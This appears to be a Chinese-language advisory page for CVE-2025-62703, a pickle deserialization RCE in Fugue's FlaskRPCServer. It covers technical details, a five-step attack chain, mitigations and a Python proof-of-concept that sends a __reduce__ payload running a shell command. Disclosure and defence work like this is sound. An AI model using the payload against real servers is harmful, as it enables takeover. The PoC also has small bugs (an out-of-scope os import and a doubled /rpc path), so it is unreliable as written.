IPBUF安全漏洞报告
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CVE-2025-62703 CVSS 8.8 高危

CVE-2025-62703: Fugue 0.9.2及之前版本远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-62703
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fugue

相关标签

远程代码执行反序列化漏洞picklecloudpickleFugueFlaskRPCServer分布式计算RCECVE-2025-62703高危漏洞

漏洞概述

CVE-2025-62703是Fugue框架中的一个高危远程代码执行漏洞。Fugue是一个用于分布式计算的统一接口,支持在Spark、Dask和Ray上执行Python、Pandas和SQL代码。漏洞存在于该框架的RPC服务器实现中,具体为fugue/rpc/flask.py文件中的_decode()函数。该函数直接使用cloudpickle.loads()对客户端发送的数据进行反序列化,而没有进行任何安全验证或过滤。由于pickle格式允许序列化任意Python对象,攻击者可以构造恶意序列化的Python对象,当服务器反序列化这些数据时,将执行任意代码。此漏洞的CVSS评分为8.8,属于高危级别,攻击向量为邻接网络,无需认证和用户交互即可利用。攻击成功后将导致机密性、完整性和可用性均受到高影响。

技术细节

该漏洞的根本原因在于Fugue框架的RPC服务器在处理客户端请求时缺乏安全的反序列化机制。在fugue/rpc/flask.py的_decode()函数中,代码直接调用cloudpickle.loads()对接收到的数据进行反序列化操作。cloudpickle是pickle模块的扩展,支持序列化和反序列化更复杂的Python对象,包括可执行代码。当RPC客户端向服务器发送序列化数据时,服务器未经任何校验就直接反序列化这些数据。攻击者可以通过向FlaskRPCServer发送精心构造的恶意序列化payload,利用__reduce__方法或类似技巧在反序列化过程中执行任意系统命令或Python代码。由于RPC服务器通常需要接收网络请求,这使得攻击者可以在无需认证的情况下远程触发该漏洞。官方已在commit 6f25326中修复了此问题,修复方式可能包括对反序列化数据进行签名验证、使用更安全的序列化格式或实现输入验证机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标环境中运行的Fugue框架版本,确认版本为0.9.2或更早版本,并定位FlaskRPCServer的网络端点
STEP 2
步骤2: 构造恶意payload
攻击者创建一个包含恶意Python代码的序列化对象,使用__reduce__方法指定反序列化时执行的系统命令或代码逻辑
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP请求向Fugue RPC服务器的端点发送精心构造的序列化payload,由于无需认证即可访问RPC接口
STEP 4
步骤4: 触发反序列化
服务器接收到请求后,调用_decode()函数使用cloudpickle.loads()对数据进行反序列化,此时恶意代码被执行
STEP 5
步骤5: 获得远程代码执行权限
成功利用后,攻击者可在目标服务器上执行任意命令,实现远程代码执行(RCE),完全控制受害系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import cloudpickle import requests import base64 # PoC for CVE-2025-62703: Fugue RCE via pickle deserialization # This demonstrates the vulnerability in FlaskRPCServer's _decode() function class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling """ def __reduce__(self): # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(): """Generate malicious pickle payload""" import os payload = MaliciousPayload() serialized = cloudpickle.dumps(payload) return base64.b64encode(serialized).decode() def exploit_fugue_rpc(target_url): """ Send malicious payload to Fugue FlaskRPCServer Args: target_url: URL of the Fugue RPC server endpoint """ malicious_data = generate_malicious_pickle() # Send the malicious payload to the RPC server # The server will decode and unpickle this data without validation response = requests.post( f"{target_url}/rpc", json={"data": malicious_data}, headers={"Content-Type": "application/json"}, timeout=10 ) return response.status_code, response.text # Example usage if __name__ == "__main__": # Target should be the Fugue RPC server address target = "http://target:5555" status, resp = exploit_fugue_rpc(f"{target}/rpc") print(f"Status: {status}, Response: {resp}")

影响范围

Fugue 0.9.2
Fugue <= 0.9.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 如果业务允许,临时禁用Fugue的FlaskRPCServer功能;2) 通过网络ACL或防火墙规则限制RPC服务器仅接受来自受信任IP地址的连接;3) 监控RPC服务器的入站请求,检测异常的序列化数据模式;4) 考虑使用网络隔离技术将运行Fugue的服务置于隔离区域;5) 实施入侵检测系统(IDS)监控可疑的pickle序列化流量。建议尽快升级到官方发布的安全版本以彻底消除该漏洞风险。

参考链接

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